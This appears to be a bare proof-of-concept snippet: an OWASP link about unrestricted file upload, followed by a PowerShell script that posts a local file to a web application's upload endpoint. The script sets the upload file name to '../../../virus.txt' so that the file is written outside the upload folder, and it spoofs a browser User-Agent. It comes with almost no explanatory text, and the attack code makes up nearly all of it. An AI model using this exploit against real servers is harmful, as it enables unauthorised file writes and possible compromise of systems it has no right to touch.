https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://pastebin.com/apXwAwYc
- $url = "url/uploads";
- $targetFileName = "../../../virus.txt";
- $sourceFilePath = "C:\temp\ipaddrs.txt"
- $access_token = "Bearer XXXXXXXX"
- $file_bytes = [System.IO.File]::ReadAllBytes($sourceFilePath)
- [System.Net.Http.HttpClient]$httpClient = New-Object System.Net.Http.HttpClient;
- [System.Net.Http.MultipartFormDataContent]$form = New-Object System.Net.Http.MultipartFormDataContent;
- $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Accept", "application/json, text/plain, */*") | out-null
- $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Authorization", $access_token) | out-null
- $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36") | out-null
- $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7") | out-null
- [System.Net.Http.ByteArrayContent]$byteContent = new-object System.Net.Http.ByteArrayContent([byte[]]($file_bytes), 0, $file_bytes.Length)
- $form.Add($byteContent, "file[]",$targetFileName)
- $response = [System.Net.Http.HttpResponseMessage]$response = $httpClient.PostAsync($url, $form).Result
- $sd = $response.Content.ReadAsStringAsync().Result
- $sd | fl *
- $httpClient.Dispose()
https://pastebin.com/apXwAwYc